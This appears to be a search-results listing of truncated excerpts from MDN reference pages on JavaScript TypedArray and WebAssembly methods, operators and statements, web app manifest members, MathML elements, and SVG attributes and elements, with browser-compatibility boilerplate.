... the bytes_per_element constant contains the number of bytes each element in the given typedarray has.
TypedArray.prototype.reduce() - JavaScript
the reduce() method applies a function against an accumulator and each value of the typed array (from left-to-right) has to reduce it to a single value.
... syntax typedarray.reduce(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... description the reduce method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the previous callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
TypedArray.prototype.reduceRight() - JavaScript
the reduceright() method applies a function against an accumulator and each value of the typed array (from right-to-left) has to reduce it to a single value.
... syntax typedarray.reduceright(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... description the reduceright method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the previous callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
TypedArray.prototype.toLocaleString() - JavaScript
the elements are converted to strings and are separated by a locale-specific string (such as a comma “,”).
... this method has the same algorithm as array.prototype.tolocalestring() and, as the typed array elements are numbers, the same algorithm as number.prototype.tolocalestring() applies for each element.
...in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
WebAssembly.Memory.prototype.grow() - JavaScript
syntax memory.grow(number); parameters number the number of webassembly pages you want to grow the memory by (each one is 64kib in size).
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgrowchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
WebAssembly.Module.exports() - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexportschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
WebAssembly.Module.imports() - JavaScript
webassembly.compilestreaming(fetch('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsimportschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
WebAssembly.Table.prototype.get() - JavaScript
webassembly.instantiatestreaming(fetch('table.wasm')) .then(function(obj) { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 }); note how you've got to include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgetchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
WebAssembly.Table.prototype.set() - JavaScript
object that contains a reference to the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming(), log the table length, and invoke the two referenced functions that are now stored in the table (the table2.wasm module (see text representation) adds two function references to the table, both of which print out a simple value): webassembly.instantiatestreaming(fetch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jssetchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
WebAssembly.compile() - JavaScript
var worker = new worker("wasm_worker.js"); fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile().
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
decodeURIComponent() - JavaScript
description replaces each escape sequence in the encoded uri component with the character that it represents.
... examples decoding a cyrillic url component decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" catching errors try { var a = decodeuricomponent('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence decoding query parameters from a url decodeuricomponent cannot be used directly to parse query parameters from a url.
... function decodequeryparam(p) { return decodeuricomponent(p.replace(/\+/g, ' ')); } decodequeryparam('search+query%20%28correct%29'); // 'search query (correct)' specifications specification ecmascript (ecma-262)the definition of 'decodeuricomponent' in that specification.
unescape() - JavaScript
warning: although unescape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification.
...… the unescape() function computes a new string in which hexadecimal escape sequences are replaced with the character that it represents.
... return value a new string in which certain characters have been unescaped.
Bitwise AND (&) - JavaScript
the bitwise and operator (&) returns a 1 in each bit position for which the corresponding bits of both operands are 1s.
...for example, the following integer with more than 32 bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.
... the operator is applied to each pair of bits, and the result is constructed bitwise.
Bitwise OR (|) - JavaScript
the bitwise or operator (|) returns a 1 in each bit position for which the corresponding bits of either or both operands are 1s.
...for example, the following integer with more than 32 bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.
... the operator is applied to each pair of bits, and the result is constructed bitwise.
Bitwise XOR (^) - JavaScript
the bitwise xor operator (^) returns a 1 in each bit position for which the corresponding bits of either but not both operands are 1s.
...for example, the following integer with more than 32 bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.
... the operator is applied to each pair of bits, and the result is constructed bitwise.
Conditional (ternary) operator - JavaScript
expriftrue an expression which is evaluated if the condition evaluates to a truthy value (one which equals or can be converted to true).
... expriffalse an expression which is executed if the condition is falsy (that is, has a value which can be converted to false).
...person.name : `stranger` return `howdy, ${name}` } console.log(greeting({name: `alice`})); // "howdy, alice" console.log(greeting(null)); // "howdy, stranger" conditional chains the ternary operator is right-associative, which means it can be "chained" in the following way, similar to an if … else if … else if … else chain: function example(…) { return condition1 ?
Logical OR assignment (||=) - JavaScript
in other words, x ||= y is equivalent to: x || (x = y); and not equivalent to the following which would always perform an assignment: x = x || y; note that this behavior is different to mathematical and bitwise assignment operators.
... examples setting default content if the "lyrics" element is empty, set the innerhtml to a default value: document.getelementbyid('lyrics').innerhtml ||= '<i>no lyrics.</i>' here the short-circuit is especially beneficial, since the element will not be updated unnecessarily and won't cause unwanted side-effects such as additional parsing or rendering work, or loss of focus, etc.
... note: pay attention to the value returned by the api you're checking against.
Pipeline operator (|>) - JavaScript
this allows the creation of chained function calls in a readable manner.
... the result is syntactic sugar in which a function call with a single argument can be written like this: let url = "%21" |> decodeuri; the equivalent call in traditional syntax looks like this: let url = decodeuri("%21"); syntax expression |> function the value of the specified expression is passed into the function as its sole parameter.
... examples chaining function calls the pipeline operator can improve readability when chaining several functions.
Spread syntax (...) - JavaScript
spread syntax (...) allows an iterable such as an array expression or string to be expanded in places where zero or more arguments (for function calls) or elements (for array literals) are expected, or an object expression to be expanded in places where zero or more key-value pairs (for object literals) are expected.
...with spread syntax this becomes much more succinct: const parts = ['shoulders', 'knees']; const lyrics = ['head', ...parts, 'and', 'toes']; // ["head", "shoulders", "knees", "and", "toes"] just like spread for argument lists, ...
... only for iterables objects themselves are not iterable, but they become iterable when used in an array, or with iterating functions such as map(), reduce(), and assign().
new.target - JavaScript
normally, the left-hand side of the dot is the object on which property access is performed, but here, new is not an object.
...this is also the case if the constructor is in a parent class and was delegated from a child constructor.
...ogs "a" let b = new b() // logs "b" class c { constructor() { console.log(new.target) } } class d extends c { constructor() { super() } } let c = new c() // logs class c{constructor(){console.log(new.target);}} let d = new d() // logs class d extends c{constructor(){super();}} thus from the above example of class c and d, it seems that new.target points to the class definition of class which is initialized.
yield* - JavaScript
syntax yield* expression; expression the expression which returns an iterable object.
... description the yield* expression iterates over the operand and yields each value returned by it.
... examples delegating to another generator in following code, values yielded by g1() are returned from next() calls just like those which are yielded by g2().
empty - JavaScript
the opposite behavior, where you want multiple statements, but javascript only allows a single one, is possible using a block statement, which combines several statements into a single one.
... if three is true, nothing will happen, four does not matter, and also the launchrocket() function in the else case will not be executed.
... if (one) doone(); else if (two) dotwo(); else if (three) ; // nothing here else if (four) dofour(); else launchrocket(); specifications specification ecmascript (ecma-262)the definition of 'empty statement' in that specification.
for - JavaScript
condition an expression to be evaluated before each loop iteration.
... final-expression an expression to be evaluated at the end of each loop iteration.
...it checks that i is less than nine, performs the two succeeding statements, and increments i by 1 after each pass through the loop.
function declaration - JavaScript
statements optional the statements which comprise the body of the function.
...typeof foo is ${typeof foo}`); if (false) { function foo(){ return 1; } } // in chrome: // 'foo' name is hoisted.
...typeof foo is ${typeof foo}`); if (true) { function foo(){ return 1; } } // in chrome: // 'foo' name is hoisted.
description - Web app manifests
type string mandatory no the description member is a string in which developers can explain what the application does.
... description is directionality-capable, which means it can be displayed left to right or right to left based on the values of the dir and lang manifest members.
... examples simple description in left-to-right language: "description": "awesome application that will help you achieve your dreams." description in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feedback web app manifestthe definition of 'description' in that specification.
icons - Web app manifests
for example, they can be used to represent the web application amongst a list of other applications, or to integrate the web application with an os's task switcher and/or system preferences.
... purpose can have one or more of the following values, separated by spaces: monochrome: a user agent can present this icon where a monochrome icon with a solid fill is needed.
... maskable: the image is designed with icon masks and safe zone in mind, such that any part of the image outside the safe zone can safely be ignored and masked away by the user agent.
related_applications - Web app manifests
such applications are intended to be alternatives to the manifest's website that provides similar/equivalent functionality — like the native app equivalent.
... { "platform": "play", "url": "https://play.google.com/store/apps/details?id=com.example.app1", "id": "com.example.app1" }, { "platform": "itunes", "url": "https://itunes.apple.com/app/example-app1/id123456789" } ] related application values application objects may contain the following values: member description platform the platform on which the application can be found.
... list of available values url the url at which the application can be found.
<mfenced> - MathML
the deprecated mathml <mfenced> element used to provide the possibility to add custom opening and closing parentheses (such as brackets) and separators (such as commas or semicolons) to an expression.
... separators a sequence of zero or more characters to be used for different separators, optionally divided by white space, which is ignored.
...by specifying more than one character, it is possible to set different separators for each argument in the expression.
<mmultiscripts> - MathML
mathml uses a special syntax to describe subscripts and superscripts for both, postscripts and prescripts, attached to a base expression: <mmultiscripts> base (subscript superscript)* [ <mprescripts/> (presubscript presuperscript)* ] </mmultiscripts> after the base expression you can specify a postsubscript and a postsuperscript.
... subscriptshift the minimum space by which to shift the subscript below the baseline of the expression, as a css length.
... superscriptshift the minimum space by which to shift the superscript above the baseline of the expression, as a css length.
<msubsup> - MathML
the mathml <msubsup> element is used to attach both a subscript and a superscript, together, to an expression.
... subscriptshift the minimum space by which to shift the subscript below the baseline of the expression, as a length value.
... superscriptshift the minimum space by which to shift the superscript above the baseline of the expression, as a length value.
<munderover> - MathML
the mathml <munderover> element is used to attach accents or limits both under and over an expression.
... it uses the following syntax: <munderover> base underscript overscript </munderover> attributes accent if true, the overscript is an accent, which is drawn closer to the base expression.
... accentunder if true, the underscript is an accent, which is drawn closer to the base expression.
MathML
here you'll find links to documentation, examples, and tools to help you work with this powerful technology.
... mathml reference mathml element reference details about each mathml element and compatibility information for desktop and mobile browsers.
... mailing list newsgroup rss feed matrix chat room wiki used by mozilla contributors w3c math home www-math w3.org mail archive tools w3c validator mathzilla firefox add-on collection texzilla — javascript latex to mathml converter (live demo, firefox os webapp, firefox add-on, using in a web page, js program etc) latexml - convert latex documents into html+mathml web pages web equation - turn handwritten equations into mathm...
attributeType - SVG: Scalable Vector Graphics
the attributetype attribute specifies the namespace in which the target attribute and its associated values are defined.
... auto this value specifies that the implementation should match the attributename to an attribute for the target element.
... user agents first search through the list of css properties for a matching property name, and if none is found, search the default xml namespace for the element.
baseline-shift - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaseline-shiftchrome ?
... chrome android ?
class - SVG: Scalable Vector Graphics
WebSVGAttributeclass
you may assign the same class name or names to any number of elements, however, multiple class names must be separated by whitespace characters.
... white space in lists is defined as one or more of the following consecutive characters: "space" (u+0020), "tab" (u+0009), "line feed" (u+000a), "carriage return" (u+000d), and "form-feed" (u+000c).
...lvematrix> <fediffuselighting> <fedisplacementmap> <feflood> <fegaussianblur> <feimage> <femerge> <femorphology> <feoffset> <fespecularlighting> <fetile> <feturbulence> <filter> <font> <foreignobject> <g> <glyph> <glyphref> <image> <line> <lineargradient> <marker> <mask> <missing-glyph> <path> <pattern> <polygon> <polyline> <radialgradient> <rect> <stop> <svg> <switch> <symbol> <text> <textpath> <title> <tref> <tspan> <use> ...
clip-path - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclip-pathchrome ?
... chrome android ?
clip-rule - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclip-rulechrome ?
... chrome android ?
cursor - SVG: Scalable Vector Graphics
WebSVGAttributecursor
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcursorchrome ?
... chrome android ?
edgeMode - SVG: Scalable Vector Graphics
value duplicate | wrap | none default value duplicate animatable yes duplicate this value indicates that the input image is extended along each of its borders as necessary by duplicating the color values at the given edge of the input image.
... value duplicate | wrap | none default value none animatable yes duplicate this value indicates that the input image is extended along each of its borders as necessary by duplicating the color values at the given edge of the input image.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'edgemode for <feconvolvematrix>' in that specification.
enable-background - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <a>, <defs>, <glyph>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, and <symbol> context notes value accumulate | new [ <x> <y> <width> <height> ]?
... this value enables the ability of children of the current container element to access the background image.
... it also indicates that a new (i.e., initially transparent black) background image canvas is established and that in effect all children of the current container element shall be rendered into the new background image canvas in addition to being rendered onto the target device.
fill-opacity - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-opacitychrome ?
... chrome android ?
filter - SVG: Scalable Vector Graphics
WebSVGAttributefilter
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilterchrome ?
... chrome android ?
from - SVG: Scalable Vector Graphics
WebSVGAttributefrom
when used with the to attribute, the animation will change the modified attribute from the from value to the to value.
... when used with the by attribute, the animation will change the attribute relatively from the from value by the value specified in by.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'from' in that specification.
gradientTransform - SVG: Scalable Vector Graphics
this allows for things such as skewing the gradient.
... candidate recommendation no change scalable vector graphics (svg) 2the definition of 'gradienttransformation for <radialgradient>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'gradienttransformation for <lineargradient>' in that specification.
kernelMatrix - SVG: Scalable Vector Graphics
values are separated by space characters and/or a comma.
...values are separated by space characters and/or a comma.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelmatrix' in that specification.
kernelUnitLength - SVG: Scalable Vector Graphics
if the attribute is not specified, the default value is one pixel in the offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable.
...if the attribute is not specified, the x and y values represent very small deltas relative to a given position, which might be implemented in some cases as one pixel in the intermediate image offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable.
...if the attribute is not specified, the x and y values represent very small deltas relative to a given position, which might be implemented in some cases as one pixel in the intermediate image offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable.
kerning - SVG: Scalable Vector Graphics
WebSVGAttributekerning
instead, inter-character spacing is set to the given length.
... if a length is provided without a unit identifier (e.g., an unqualified number such as 128), the length is processed as a width value in the current user coordinate system.
... the given length is added to the inter-character spacing value specified by the letter-spacing attribute.
keySplines - SVG: Scalable Vector Graphics
<control-point> each control point description is a set of four values: x1 y1 x2 y2, describing the bézier control points for one time segment.
... the keytimes values that define the associated segment are the bézier "anchor points", and the keysplines values are the control points.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'keysplines' in that specification.
limitingConeAngle - SVG: Scalable Vector Graphics
the axis between the light source and the point to which it is pointing at) and the spot light cone.
... so it defines a limiting cone which restricts the region where the light is projected.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'limitingconeangle' in that specification.
marker-end - SVG: Scalable Vector Graphics
for <path> elements, for each closed subpath, the last vertex is the same as the first vertex.
... <marker-ref> this value is a reference to a <marker> element, which will be drawn at the final vertex.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-end' in that specification.
marker-start - SVG: Scalable Vector Graphics
for <path> elements, for each closed subpath, the last vertex is the same as the first vertex.
... <marker-ref> this value is a reference to a <marker> element, which will be drawn at the first vertex.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-start' in that specification.
media - SVG: Scalable Vector Graphics
WebSVGAttributemedia
the media attribute specifies a media query that must be matched for a style sheet to apply.
...k; } </style> <style media="all and (min-width: 600px)"> rect { fill: seagreen; } </style> <text y="15">resize the window to see the effect</text> <rect y="20" width="200" height="200" /> </svg> usage notes value <media-query-list> default value all animatable yes <media-query-list> this value holds a media query that needs to match in order for the style sheet to be applied.
... candidate recommendation changed the value definition from different media types as defined in css 2 to <media-query-list>.
preserveAlpha - SVG: Scalable Vector Graphics
nvolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes default value false value true | false animatable yes true this value indicates that the convolution will only apply to the color channels.
... false this value indicates that the convolution will apply to all channels, including the alpha channel.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'preservealpha' in that specification.
stroke-dasharray - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-dasharraychrome ?
... chrome android ?
stroke-opacity - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-opacitychrome ?
... chrome android ?
stroke-width - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-widthchrome ?
... chrome android ?
stroke - SVG: Scalable Vector Graphics
WebSVGAttributestroke
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstrokechrome ?
... chrome android ?
tableValues - SVG: Scalable Vector Graphics
<rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <list-of-numbers> default value empty list resulting in identity transfer animatable yes <list-of-numbers> this value holds a comma- and/or space-separated list of <number>s, which define a lookup table for the color component transfer function.
... each number can be between 0 and 1.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'tablevalues' in that specification.
to - SVG: Scalable Vector Graphics
WebSVGAttributeto
the value of the attribute will change between the from attribute value and this value.
... editor's draft no change svg animations level 2the definition of 'to for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'to for <set>' in that specification.
viewBox - SVG: Scalable Vector Graphics
WebSVGAttributeviewBox
the numbers separated by whitespace and/or a comma, which specify a rectangle in user space which is mapped to the bounds of the viewport established for the associated svg element (not the browser viewport).
... html,body,svg { height:100% } svg:not(:root) { display: inline-block; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a large viewbox the circle looks small as it is using user units for the r attribute: 4 resolved against 100 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox` --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a small viewbox t...
...w.w3.org/2000/svg"> <!-- the point of coordinate 0,0 is now in the center of the viewport, and 100% is still resolve to a width or height of 10 user units so the rectangle looks shifted to the bottom/right corner of the viewport --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with the point of coordinate 0,0 in the center of the viewport the value 50% is resolve to 5 which means the center of the circle is in the bottom/right corner of the viewport.
widths - SVG: Scalable Vector Graphics
WebSVGAttributewidths
the widths attribute indicates a list of range values, each followed by one or more glyph widths.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value is a comma-separated list of ucs range values as defined in iso 10646, each followed by one or more glyph widths.
... if the range is omitted, a range of u+0-7fffffff is assumed which covers all characters and their glyphs.
xlink:show - SVG: Scalable Vector Graphics
this is similar to the effect achieved by an html <a> element with target set to _blank.
...this is similar to the effect achieved by an html <a> element with target set to _self.
...this is similar to the effect achieved by an html <img> element.
<animate> - SVG: Scalable Vector Graphics
WebSVGElementanimate
accessibility concerns blinking and flashing animation can be problematic for people with cognitive concerns such as attention deficit hyperactivity disorder (adhd).
... consider providing a mechanism for pausing or disabling animation, as well as using the reduced motion media query to create a complimentary experience for users who have expressed a preference for no animated experiences.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animate>' in that specification.
<feColorMatrix> - SVG: Scalable Vector Graphics
the <fecolormatrix> svg filter element changes colors based on a transformation matrix.
... | r' | | r1 r2 r3 r4 r5 | | r | | g' | | g1 g2 g3 g4 g5 | | g | | b' | = | b1 b2 b3 b4 b5 | * | b | | a' | | a1 a2 a3 a4 a5 | | a | | 1 | | 0 0 0 0 1 | | 1 | in simplified terms, below is how each color channel in the new pixel is calculated.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fecolormatrix>' in that specification.
<feSpecularLighting> - SVG: Scalable Vector Graphics
the <fespecularlighting> svg filter primitive lights a source graphic using the alpha channel as a bump map.
... this filter primitive produces an image which contains the specular reflection part of the lighting calculation.
... such a map is intended to be combined with a texture using the add term of the arithmetic <fecomposite> method.
<feTurbulence> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes basefrequency numoctaves seed stitchtiles type dom interface this element implements the svgfeturbulenceelement interface.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<feturbulence>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<feturbulence>' in that specification.
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
transformations applied to the <g> element are performed on its child elements, and its attributes are inherited by its children.
...lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...uetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<g>' in that specification.
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
the contents of <metadata> should be elements from other xml namespaces such as rdf, foaf, etc.
... usage context categoriesdescriptive elementpermitted contentany elements or character data attributes global attributes core attributes global event attributes specific attributes none dom interface this element implements the svgmetadataelement interface.
... h5 v-9 h12 v9 h5 v16 h-22 z"/> </symbol> <!-- hub symbol --> <symbol id="hub"> <desc>a typical 10baset/100basetx network hub</desc> <text x="0" y="15">hub</text> <g transform="translate(0 20)"> <rect width="253" height="84"/> <rect width="229" height="44" x="12" y="10"/> <circle fill="red" cx="227" cy="71" r="7" /> <!-- five groups each using the defined socket --> <g id="sock1et" transform="translate(25 20)"> <title>socket 1</title> <use xlink:href="#hubplug"/> </g> <g id="socket2" transform="translate(70 20)"> <title>socket 2</title> <use xlink:href="#hubplug"/> </g> <g id="socket3" transform="translate(115 20)"> <title>socket 3</title> ...
<style> - SVG: Scalable Vector Graphics
WebSVGElementstyle
value type: <string>; default value: text/css; animatable: no media this attribute defines to which media the style applies.
... value type: <string>; default value: all; animatable: no title this attribute the title of the style sheet which can be used to switch between alternate style sheets.
... value type: <string>; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<style>' in that specification.
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
; default value: xmidymid meet; animatable: yes version deprecated since svg 2 which version of svg is used for the inner content of the element.
